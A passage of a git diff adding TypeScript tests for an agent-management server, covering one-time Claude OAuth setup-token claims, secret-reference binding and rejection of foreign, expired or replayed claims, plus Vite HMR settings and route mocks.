+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(environments).values({
+      id: environmentId,
+      name: `sandbox-${environmentId.slice(0, 8)}`,
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "fake" },
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    return { companyId, environmentId, ownerUserId: `user-${randomUUID().slice(0, 8)}` };
+  }
+
+  async function seedStoredClaim(scope: Scope, deadlineMs: number, state = "stored"): Promise<string> {
+    const sessionId = randomUUID();
+    await createDbSetupTokenCleanupStore(db).record({
+      sessionId,
+      companyId: scope.companyId,
+      ownerUserId: scope.ownerUserId,
+      adapterType: "claude_local",
+      environmentId: scope.environmentId,
+      leaseId: "lease-1",
+      deadline: deadlineMs,
+      state: state as never,
+      boundAt: null,
+    });
+    return sessionId;
+  }
+
+  function createInput(scope: Scope, extraEnv: Record<string, unknown> = {}) {
+    return {
+      name: "Claude Login Agent",
+      role: "engineer",
+      status: "idle" as const,
+      adapterType: "claude_local",
+      defaultEnvironmentId: scope.environmentId,
+      adapterConfig: { env: { CLAUDE_CODE_OAUTH_TOKEN: { ...FIXED_BINDING }, ...extraEnv } },
+      runtimeConfig: {},
+      spentMonthlyCents: 0,
+      lastHeartbeatAt: null,
+    };
+  }
+
+  async function readClaim(sessionId: string) {
+    const rows = await db
+      .select()
+      .from(adapterAuthSessions)
+      .where(eq(adapterAuthSessions.publicSessionId, sessionId));
+    return rows[0];
+  }
+
+  async function countAgents(companyId: string): Promise<number> {
+    const rows = await db.select().from(agents).where(eq(agents.companyId, companyId));
+    return rows.length;
+  }
+
+  // Seed one stored owner value for the fixed Claude OAuth definition. The
+  // apply-existing path binds the fixed reference only when this value exists.
+  async function seedStoredOwnerValue(scope: Scope, value = "sk-owner-token"): Promise<void> {
+    await secretService(db).completeClaudeOAuthUserSecret(scope.companyId, scope.ownerUserId, {
+      sessionId: randomUUID(),
+      mode: "first_write",
+      value,
+    });
+  }
+
+  async function countUserSecretDefinitions(companyId: string): Promise<number> {
+    const rows = await db
+      .select()
+      .from(userSecretDefinitions)
+      .where(eq(userSecretDefinitions.companyId, companyId));
+    return rows.length;
+  }
+
+  async function countDeclarationsForAgent(agentId: string): Promise<number> {
+    const rows = await db
+      .select()
+      .from(userSecretDeclarations)
+      .where(eq(userSecretDeclarations.targetId, agentId));
+    return rows.length;
+  }
+
+  it("inserts the fixed binding and consumes a valid claim exactly once", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+    });
+
+    const persisted = created.adapterConfig as { env: Record<string, unknown> };
+    expect(persisted.env.CLAUDE_CODE_OAUTH_TOKEN).toMatchObject({
+      type: "user_secret_ref",
+      key: "CLAUDE_CODE_OAUTH_TOKEN",
+    });
+    // The claim is consumed once.
+    expect((await readClaim(sessionId))?.boundAt).not.toBeNull();
+
+    // A replay of the same claim inserts no second agent.
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect(await countAgents(scope.companyId)).toBe(1);
+  });
+
+  it("rejects a missing claim and inserts no binding", async () => {
+    const scope = await seedScope();
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: undefined, ownerUserId: scope.ownerUserId },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect(await countAgents(scope.companyId)).toBe(0);
+  });
+
+  it("rejects a foreign-owner claim and leaves it unconsumed", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: "intruder" },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect((await readClaim(sessionId))?.boundAt).toBeNull();
+    expect(await countAgents(scope.companyId)).toBe(0);
+  });
+
+  it("rejects an expired claim and leaves it unconsumed", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() - 1_000);
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect((await readClaim(sessionId))?.boundAt).toBeNull();
+  });
+
+  it("rejects a non-stored claim and leaves it unconsumed", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000, "awaiting_code");
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect((await readClaim(sessionId))?.boundAt).toBeNull();
+  });
+
+  it("returns a byte-identical error for every reject reason", async () => {
+    const messages: string[] = [];
+    // Missing claim.
+    const missingScope = await seedScope();
+    messages.push(
+      await agentService(db)
+        .create(missingScope.companyId, createInput(missingScope), {
+          claudeLogin: { storedSessionId: undefined, ownerUserId: missingScope.ownerUserId },
+        })
+        .then(() => "no-error")
+        .catch((error: Error) => error.message),
+    );
+    // Foreign owner.
+    const foreignScope = await seedScope();
+    const foreignSession = await seedStoredClaim(foreignScope, Date.now() + 60_000);
+    messages.push(
+      await agentService(db)
+        .create(foreignScope.companyId, createInput(foreignScope), {
+          claudeLogin: { storedSessionId: foreignSession, ownerUserId: "intruder" },
+        })
+        .then(() => "no-error")
+        .catch((error: Error) => error.message),
+    );
+    // Expired.
+    const expiredScope = await seedScope();
+    const expiredSession = await seedStoredClaim(expiredScope, Date.now() - 1_000);
+    messages.push(
+      await agentService(db)
+        .create(expiredScope.companyId, createInput(expiredScope), {
+          claudeLogin: { storedSessionId: expiredSession, ownerUserId: expiredScope.ownerUserId },
+        })
+        .then(() => "no-error")
+        .catch((error: Error) => error.message),
+    );
+    // Non-stored.
+    const nonStoredScope = await seedScope();
+    const nonStoredSession = await seedStoredClaim(nonStoredScope, Date.now() + 60_000, "submitting");
+    messages.push(
+      await agentService(db)
+        .create(nonStoredScope.companyId, createInput(nonStoredScope), {
+          claudeLogin: { storedSessionId: nonStoredSession, ownerUserId: nonStoredScope.ownerUserId },
+        })
+        .then(() => "no-error")
+        .catch((error: Error) => error.message),
+    );
+    // Already consumed.
+    const consumedScope = await seedScope();
+    const consumedSession = await seedStoredClaim(consumedScope, Date.now() + 60_000);
+    await agentService(db).create(consumedScope.companyId, createInput(consumedScope), {
+      claudeLogin: { storedSessionId: consumedSession, ownerUserId: consumedScope.ownerUserId },
+    });
+    messages.push(
+      await agentService(db)
+        .create(consumedScope.companyId, createInput(consumedScope), {
+          claudeLogin: { storedSessionId: consumedSession, ownerUserId: consumedScope.ownerUserId },
+        })
+        .then(() => "no-error")
+        .catch((error: Error) => error.message),
+    );
+
+    expect(new Set(messages)).toEqual(new Set([CLAUDE_OAUTH_CLAIM_REJECTED]));
+  });
+
+  it("consumes one claim exactly once under two concurrent creates", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+
+    const results = await Promise.allSettled([
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+      }),
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+      }),
+    ]);
+
+    const fulfilled = results.filter((result) => result.status === "fulfilled");
+    const rejected = results.filter((result) => result.status === "rejected");
+    expect(fulfilled).toHaveLength(1);
+    expect(rejected).toHaveLength(1);
+    expect((rejected[0] as PromiseRejectedResult).reason.message).toBe(CLAUDE_OAUTH_CLAIM_REJECTED);
+    expect(await countAgents(scope.companyId)).toBe(1);
+  });
+
+  it("inserts no binding when the claim row lock holds until after the deadline", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 3_600_000);
+
+    const lockDb = createDb(connectionString);
+    let signalLocked!: () => void;
+    const locked = new Promise<void>((resolve) => {
+      signalLocked = resolve;
+    });
+    let releaseGate!: () => void;
+    const gate = new Promise<void>((resolve) => {
+      releaseGate = resolve;
+    });
+    const lockHeld = lockDb.transaction(async (tx) => {
+      await tx.execute(
+        sql`SELECT bound_at FROM adapter_auth_sessions WHERE public_session_id = ${sessionId} FOR UPDATE`,
+      );
+      await tx.execute(
+        sql`UPDATE adapter_auth_sessions SET expires_at = clock_timestamp() + interval '300 milliseconds' WHERE public_session_id = ${sessionId}`,
+      );
+      signalLocked();
+      await gate;
+    });
+
+    await locked;
+    const createPromise = agentService(db)
+      .create(scope.companyId, createInput(scope), {
+        claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+      })
+      .then(() => "created")
+      .catch((error: Error) => error.message);
+    await new Promise((resolve) => setTimeout(resolve, 600));
+    releaseGate();
+    await lockHeld;
+
+    expect(await createPromise).toBe(CLAUDE_OAUTH_CLAIM_REJECTED);
+    expect((await readClaim(sessionId))?.boundAt).toBeNull();
+    expect(await countAgents(scope.companyId)).toBe(0);
+    await lockDb.$client.end();
+  });
+
+  it("removes the fixed binding on a normal update", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+    });
+
+    const updated = await agentService(db).update(created.id, { adapterConfig: { env: {} } });
+
+    const updatedEnv = (updated?.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(updatedEnv.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
+  });
+
+  it("re-points the binding to a plain value on a normal update", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+    });
+
+    const updated = await agentService(db).update(created.id, {
+      adapterConfig: { env: { CLAUDE_CODE_OAUTH_TOKEN: { type: "plain", value: "sk-fake" } } },
+    });
+
+    const updatedEnv = (updated?.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(updatedEnv.CLAUDE_CODE_OAUTH_TOKEN).toMatchObject({ type: "plain", value: "sk-fake" });
+  });
+
+  it("removes the binding by a move to another adapter type on a normal update", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+    });
+
+    // The write moves the agent to the process adapter and drops the binding in
+    // the same PATCH. The binding is a normal environment variable, so the write
+    // succeeds and drops both the fixed binding and the claude_local adapter.
+    const updated = await agentService(db).update(created.id, {
+      adapterType: "process",
+      adapterConfig: { env: {} },
+    });
+
+    expect(updated?.adapterType).toBe("process");
+    const updatedEnv = (updated?.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(updatedEnv.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
+  });
+
+  it("keeps an existing binding when the update changes another field", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { storedSessionId: sessionId, ownerUserId: scope.ownerUserId },
+    });
+
+    const updated = await agentService(db).update(created.id, {
+      adapterConfig: { model: "claude-opus", env: { CLAUDE_CODE_OAUTH_TOKEN: { ...FIXED_BINDING } } },
+    });
+    const env = (updated?.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(env.CLAUDE_CODE_OAUTH_TOKEN).toMatchObject(FIXED_BINDING);
+  });
+
+  it("rejects a newly introduced binding on update, because it carries no claim", async () => {
+    const scope = await seedScope();
+    const created = await agentService(db).create(scope.companyId, {
+      name: "Api Key Agent",
+      role: "engineer",
+      status: "idle",
+      adapterType: "claude_local",
+      defaultEnvironmentId: scope.environmentId,
+      adapterConfig: { env: {} },
+      runtimeConfig: {},
+      spentMonthlyCents: 0,
+      lastHeartbeatAt: null,
+    });
+
+    await expect(
+      agentService(db).update(created.id, {
+        adapterConfig: { env: { CLAUDE_CODE_OAUTH_TOKEN: { ...FIXED_BINDING } } },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+
+    const reloaded = await agentService(db).getById(created.id);
+    const reloadedEnv = (reloaded?.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(reloadedEnv.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
+  });
+
+  // --- The user-actor apply-existing path (no login round trip) --------------
+
+  it("binds the fixed reference from a stored owner value with no claim", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope);
+
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true },
+    });
+
+    const persisted = created.adapterConfig as { env: Record<string, unknown> };
+    expect(persisted.env.CLAUDE_CODE_OAUTH_TOKEN).toMatchObject({
+      type: "user_secret_ref",
+      key: "CLAUDE_CODE_OAUTH_TOKEN",
+    });
+    // The response carries the reference only. It carries no token value.
+    expect(JSON.stringify(created)).not.toContain("sk-owner-token");
+    expect(await countAgents(scope.companyId)).toBe(1);
+    // The path consumes no setup-token claim, so it needs no login round trip.
+    const claims = await db.select().from(adapterAuthSessions);
+    expect(claims).toHaveLength(0);
+  });
+
+  it("binds on a hire-shaped create that needs board approval", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope);
+
+    const created = await agentService(
+      db,
+    ).create(scope.companyId, { ...createInput(scope), status: "pending_approval" }, {
+      claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true },
+    });
+
+    expect(created.status).toBe("pending_approval");
+    const persisted = created.adapterConfig as { env: Record<string, unknown> };
+    expect(persisted.env.CLAUDE_CODE_OAUTH_TOKEN).toMatchObject(FIXED_BINDING);
+  });
+
+  it("binds the fixed reference on an update from a stored owner value with no claim", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope);
+    const created = await agentService(db).create(scope.companyId, {
+      name: "Claude Agent",
+      role: "engineer",
+      status: "idle",
+      adapterType: "claude_local",
+      defaultEnvironmentId: scope.environmentId,
+      adapterConfig: { env: {} },
+      runtimeConfig: {},
+      spentMonthlyCents: 0,
+      lastHeartbeatAt: null,
+    });
+
+    const updated = await agentService(db).update(
+      created.id,
+      { adapterConfig: { env: { CLAUDE_CODE_OAUTH_TOKEN: { ...FIXED_BINDING } } } },
+      { claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true } },
+    );
+
+    const env = (updated?.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(env.CLAUDE_CODE_OAUTH_TOKEN).toMatchObject(FIXED_BINDING);
+  });
+
+  it("rejects apply-existing when the owner has no stored value and binds nothing", async () => {
+    const scope = await seedScope();
+
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+
+    // A rejected bind creates neither the agent nor the fixed definition.
+    expect(await countAgents(scope.companyId)).toBe(0);
+    expect(await countUserSecretDefinitions(scope.companyId)).toBe(0);
+  });
+
+  it("rejects apply-existing when no owner is derived (an agent actor)", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope);
+
+    // The route sets no owner for an agent actor. The gate rejects the no-claim
+    // bind, so an agent actor never binds the fixed reference.
+    await expect(
+      agentService(db).create(scope.companyId, createInput(scope), {
+        claudeLogin: { ownerUserId: null, applyExistingWithoutClaim: true },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect(await countAgents(scope.companyId)).toBe(0);
+  });
+
+  it("rejects apply-existing when the stored value belongs to another company", async () => {
+    const ownerScope = await seedScope();
+    await seedStoredOwnerValue(ownerScope);
+    // The same owner, a different company. The owner value is company-scoped, so
+    // the status read finds nothing for the foreign company.
+    const foreignScope = await seedScope();
+    foreignScope.ownerUserId = ownerScope.ownerUserId;
+
+    await expect(
+      agentService(db).create(foreignScope.companyId, createInput(foreignScope), {
+        claudeLogin: { ownerUserId: foreignScope.ownerUserId, applyExistingWithoutClaim: true },
+      }),
+    ).rejects.toMatchObject({ message: CLAUDE_OAUTH_CLAIM_REJECTED });
+    expect(await countAgents(foreignScope.companyId)).toBe(0);
+  });
+
+  it("binds nothing from the flag alone when the config carries no fixed binding", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope);
+
+    // The apply-existing flag is set, but the config carries no fixed binding. The
+    // gate mints the fixed reference only when the client presents the exact fixed
+    // binding, so the flag alone binds nothing and creates no fixed definition.
+    const created = await agentService(db).create(
+      scope.companyId,
+      {
+        name: "Plain Agent",
+        role: "engineer",
+        status: "idle",
+        adapterType: "claude_local",
+        defaultEnvironmentId: scope.environmentId,
+        adapterConfig: { env: {} },
+        runtimeConfig: {},
+        spentMonthlyCents: 0,
+        lastHeartbeatAt: null,
+      },
+      { claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true } },
+    );
+
+    const env = (created.adapterConfig as { env: Record<string, unknown> }).env;
+    expect(env.CLAUDE_CODE_OAUTH_TOKEN).toBeUndefined();
+    expect(await countDeclarationsForAgent(created.id)).toBe(0);
+  });
+
+  it("derives the persisted binding shape, so a client secret selector never rides through", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope);
+
+    // A client adds a secret id and a foreign owner to the binding. The persist
+    // normalization keeps only the fixed reference fields, so the extra selectors
+    // never reach the stored binding. The runtime derives the owner from context.
+    const created = await agentService(db).create(
+      scope.companyId,
+      createInput(scope, {
+        CLAUDE_CODE_OAUTH_TOKEN: {
+          type: "user_secret_ref",
+          key: "CLAUDE_CODE_OAUTH_TOKEN",
+          secretId: "attacker-secret",
+          ownerUserId: "intruder",
+        },
+      }),
+      { claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true } },
+    );
+
+    const binding = (created.adapterConfig as { env: Record<string, Record<string, unknown>> }).env
+      .CLAUDE_CODE_OAUTH_TOKEN;
+    expect(binding).toMatchObject({ type: "user_secret_ref", key: "CLAUDE_CODE_OAUTH_TOKEN" });
+    expect(binding.secretId).toBeUndefined();
+    expect(binding.ownerUserId).toBeUndefined();
+  });
+
+  it("resolves the bound reference to the stored value without leaking it in a log", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope, "sk-secret-resolve");
+    const created = await agentService(db).create(scope.companyId, createInput(scope), {
+      claudeLogin: { ownerUserId: scope.ownerUserId, applyExistingWithoutClaim: true },
+    });
+
+    // The successful bind writes a declaration for the agent, so the fixed
+    // reference resolves at runtime. The declaration and the definition carry no
+    // token value.
+    expect(await countDeclarationsForAgent(created.id)).toBe(1);
+    const definitions = await db.select().from(userSecretDefinitions);
+    expect(JSON.stringify(definitions)).not.toContain("sk-secret-resolve");
+  });
+
+  // --- The atomic credential-claim writer (item 2) ---------------------------
+
+  function claimScope(scope: Scope): SetupTokenSessionScope {
+    return {
+      companyId: scope.companyId,
+      ownerUserId: scope.ownerUserId,
+      adapterType: "claude_local",
+      environmentId: scope.environmentId,
+    };
+  }
+
+  it("commits the stored transition and the secret together on a first write", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000, "submitting");
+    const writer = createSetupTokenSecretWriter({ db });
+
+    await writer({ scope: claimScope(scope), sessionId, token: "sk-ant-oat01-FIRSTWRITE" });
+
+    // The durable row transitioned to `stored` and stays unconsumed.
+    const claim = await readClaim(sessionId);
+    expect(claim?.status).toBe("stored");
+    expect(claim?.boundAt).toBeNull();
+    // The owner value committed in the same transaction.
+    const status = await secretService(db).readClaudeOAuthUserSecretStatus(
+      scope.companyId,
+      scope.ownerUserId,
+    );
+    expect(status).not.toBeNull();
+    expect(status?.latestVersion).toBe(1);
+  });
+
+  it("rolls back the transition and writes no secret when the secret write fails", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000, "submitting");
+    // Inject a completion that fails after the transition. The whole transaction
+    // rolls back, so neither the claim nor the secret commits.
+    const writer = createSetupTokenSecretWriter({
+      db,
+      completionForTx: () => ({
+        async completeClaudeOAuthUserSecret() {
+          throw new Error("storage down");
+        },
+      }),
+    });
+
+    await expect(
+      writer({ scope: claimScope(scope), sessionId, token: "sk-ant-oat01-ROLLBACK" }),
+    ).rejects.toThrow();
+
+    const claim = await readClaim(sessionId);
+    expect(claim?.status).toBe("submitting");
+    expect(claim?.boundAt).toBeNull();
+    expect(
+      await secretService(db).readClaudeOAuthUserSecretStatus(scope.companyId, scope.ownerUserId),
+    ).toBeNull();
+    expect(await countUserSecretDefinitions(scope.companyId)).toBe(0);
+  });
+
+  it("writes no secret for an expired claim", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() - 1_000, "submitting");
+    const writer = createSetupTokenSecretWriter({ db });
+
+    await expect(
+      writer({ scope: claimScope(scope), sessionId, token: "sk-ant-oat01-EXPIRED" }),
+    ).rejects.toThrow();
+
+    expect((await readClaim(sessionId))?.status).toBe("submitting");
+    expect(
+      await secretService(db).readClaudeOAuthUserSecretStatus(scope.companyId, scope.ownerUserId),
+    ).toBeNull();
+  });
+
+  it("writes no secret for an already-consumed claim", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    // Consume the stored claim first, so `bound_at` is set and the predecessor
+    // predicate no longer matches.
+    await createDbSetupTokenCleanupStore(db).consumeStoredClaim({
+      sessionId,
+      companyId: scope.companyId,
+      ownerUserId: scope.ownerUserId,
+      adapterType: "claude_local",
+      environmentId: scope.environmentId,
+    });
+    const writer = createSetupTokenSecretWriter({ db });
+
+    await expect(
+      writer({ scope: claimScope(scope), sessionId, token: "sk-ant-oat01-BOUND" }),
+    ).rejects.toThrow();
+
+    expect(
+      await secretService(db).readClaudeOAuthUserSecretStatus(scope.companyId, scope.ownerUserId),
+    ).toBeNull();
+  });
+
+  it("rotates the stored value under the captured version on a confirmed overwrite", async () => {
+    const scope = await seedScope();
+    await seedStoredOwnerValue(scope, "sk-old-value");
+    const before = await secretService(db).readClaudeOAuthUserSecretStatus(
+      scope.companyId,
+      scope.ownerUserId,
+    );
+    expect(before).not.toBeNull();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000, "submitting");
+    const writer = createSetupTokenSecretWriter({ db });
+
+    await writer({
+      scope: {
+        ...claimScope(scope),
+        confirmedOverwrite: {
+          expectedSecretId: before!.secretId,
+          expectedLatestVersion: before!.latestVersion,
+        },
+      },
+      sessionId,
+      token: "sk-ant-oat01-ROTATED",
+    });
+
+    // The claim transitioned and the stored value rotated to a new version.
+    expect((await readClaim(sessionId))?.status).toBe("stored");
+    const after = await secretService(db).readClaudeOAuthUserSecretStatus(
+      scope.companyId,
+      scope.ownerUserId,
+    );
+    expect(after?.secretId).toBe(before!.secretId);
+    expect(after?.latestVersion).toBe(before!.latestVersion + 1);
+  });
+
+  it("deletes a cleanup row only under the full owner scope", async () => {
+    const scope = await seedScope();
+    const sessionId = await seedStoredClaim(scope, Date.now() + 60_000);
+    const store = createDbSetupTokenCleanupStore(db);
+    const identity = {
+      sessionId,
+      companyId: scope.companyId,
+      ownerUserId: scope.ownerUserId,
+      adapterType: "claude_local",
+      environmentId: scope.environmentId,
+    };
+
+    // A foreign-owner identity with the right session id does not delete the row.
+    await store.remove({ ...identity, ownerUserId: "intruder" });
+    expect(await readClaim(sessionId)).toBeTruthy();
+
+    // The full-scope identity deletes the row.
+    await store.remove(identity);
+    expect(await readClaim(sessionId)).toBeUndefined();
+  });
+});
diff --git a/server/src/__tests__/agents-service-secret-bindings.test.ts b/server/src/__tests__/agents-service-secret-bindings.test.ts
index 2c12fa43121..d804917e729 100644
--- a/server/src/__tests__/agents-service-secret-bindings.test.ts
+++ b/server/src/__tests__/agents-service-secret-bindings.test.ts
@@ -5,6 +5,7 @@ import path from "node:path";
 import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
 import { and, eq } from "drizzle-orm";
 import {
+  activityLog,
   agents,
   companies,
   companySecretBindings,
@@ -44,6 +45,7 @@ describeEmbeddedPostgres("agent service secret binding sync", () => {
   }, 20_000);
 
   afterEach(async () => {
+    await db.delete(activityLog);
     await db.delete(companySecretBindings);
     await db.delete(companySecretVersions);
     await db.delete(companySecrets);
@@ -113,6 +115,15 @@ describeEmbeddedPostgres("agent service secret binding sync", () => {
       versionSelector: "latest",
       required: true,
     });
+    expect(await db.select().from(activityLog).where(eq(activityLog.companyId, companyId)))
+      .toEqual(expect.arrayContaining([
+        expect.objectContaining({
+          action: "secret.binding.created",
+          entityType: "agent",
+          entityId: created.id,
+          details: expect.objectContaining({ configPath: "env.ANTHROPIC_API_KEY" }),
+        }),
+      ]));
   });
 
   it("stores approved class-3 env lease metadata on agent secret bindings", async () => {
diff --git a/server/src/__tests__/app-hmr-port.test.ts b/server/src/__tests__/app-hmr-port.test.ts
index f6e6ac1cf6d..41beb9142ae 100644
--- a/server/src/__tests__/app-hmr-port.test.ts
+++ b/server/src/__tests__/app-hmr-port.test.ts
@@ -1,5 +1,11 @@
 import { describe, expect, it } from "vitest";
-import { resolveViteHmrHost, resolveViteHmrPort } from "../app.ts";
+import { createServer } from "node:http";
+import {
+  listenViteHmrServer,
+  resolveViteHmrHost,
+  resolveViteHmrPort,
+  resolveViteHmrProtocol,
+} from "../app.ts";
 
 describe("resolveViteHmrPort", () => {
   it("uses serverPort + 10000 when the result stays in range", () => {
@@ -24,8 +30,30 @@ describe("resolveViteHmrHost", () => {
     expect(resolveViteHmrHost("::")).toBeUndefined();
   });
 
-  it("keeps concrete bind hosts", () => {
-    expect(resolveViteHmrHost("127.0.0.1")).toBe("127.0.0.1");
+  it("uses the browser hostname for loopback while keeping non-loopback concrete hosts", () => {
+    expect(resolveViteHmrHost("127.0.0.1")).toBeUndefined();
+    expect(resolveViteHmrHost("localhost")).toBeUndefined();
     expect(resolveViteHmrHost("paperclip-dev")).toBe("paperclip-dev");
   });
 });
+
+describe("resolveViteHmrProtocol", () => {
+  it("selects secure WebSockets for HTTPS branch runtimes", () => {
+    expect(resolveViteHmrProtocol("wss")).toBe("wss");
+    expect(resolveViteHmrProtocol(undefined)).toBeUndefined();
+    expect(() => resolveViteHmrProtocol("https")).toThrow(/ws or wss/);
+  });
+});
+
+describe("listenViteHmrServer", () => {
+  it("binds the dedicated middleware-mode HMR listener to loopback", async () => {
+    const server = createServer();
+    await listenViteHmrServer(server, 0, "127.0.0.1");
+
+    expect(server.address()).toMatchObject({ address: "127.0.0.1" });
+
+    await new Promise<void>((resolve, reject) => {
+      server.close((error) => error ? reject(error) : resolve());
+    });
+  });
+});
diff --git a/server/src/__tests__/artifact-review-document-routes.test.ts b/server/src/__tests__/artifact-review-document-routes.test.ts
new file mode 100644
index 00000000000..21dd1ae60fd
--- /dev/null
+++ b/server/src/__tests__/artifact-review-document-routes.test.ts
@@ -0,0 +1,334 @@
+import express from "express";
+import request from "supertest";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import type { StorageService } from "../storage/types.js";
+
+const ISSUE_ID = "11111111-1111-4111-8111-111111111111";
+const WORK_PRODUCT_ID = "22222222-2222-4222-8222-222222222222";
+
+const mockIssueService = vi.hoisted(() => ({
+  getById: vi.fn(),
+  getByIdentifier: vi.fn(),
+  getAttachmentById: vi.fn(),
+}));
+const mockCompanyService = vi.hoisted(() => ({
+  getById: vi.fn(),
+}));
+const mockWorkProductService = vi.hoisted(() => ({
+  createForIssue: vi.fn(),
+  getById: vi.fn(),
+  update: vi.fn(),
+}));
+const mockAccessService = vi.hoisted(() => ({
+  decide: vi.fn(async () => ({
+    allowed: true,
+    explanation: "Allowed by test mock",
+  })),
+  canUser: vi.fn(),
+  hasPermission: vi.fn(),
+}));
+const mockLogActivity = vi.hoisted(() => vi.fn(async () => undefined));
+const mockEnsureForWorkProduct = vi.hoisted(() => vi.fn());
+const mockSyncDocumentSafely = vi.hoisted(() => vi.fn(async () => undefined));
+
+function registerRouteMocks() {
+  vi.doMock("@paperclipai/shared/telemetry", () => ({
+    trackAgentTaskCompleted: vi.fn(),
+    trackErrorHandlerCrash: vi.fn(),
+  }));
+
+  vi.doMock("../telemetry.js", () => ({
+    getTelemetryClient: vi.fn(() => ({ track: vi.fn() })),
+  }));
+
+  vi.doMock("../services/issues.js", () => ({
+    issueService: () => mockIssueService,
+  }));
+
+  vi.doMock("../services/activity-log.js", () => ({
+    logActivity: mockLogActivity,
+  }));
+
+  vi.doMock("../services/artifact-review-documents.js", () => ({
+    artifactReviewDocumentService: () => ({
+      ensureForWorkProduct: mockEnsureForWorkProduct,
+    }),
+  }));
+
+  vi.doMock("../services/external-objects.js", () => ({
+    externalObjectService: () => ({
+      syncDocumentSafely: mockSyncDocumentSafely,
+    }),
+  }));
+
+  vi.doMock("../services/index.js", () => ({
+    accessService: () => mockAccessService,
+    agentService: () => ({
+      getById: vi.fn(),
+    }),
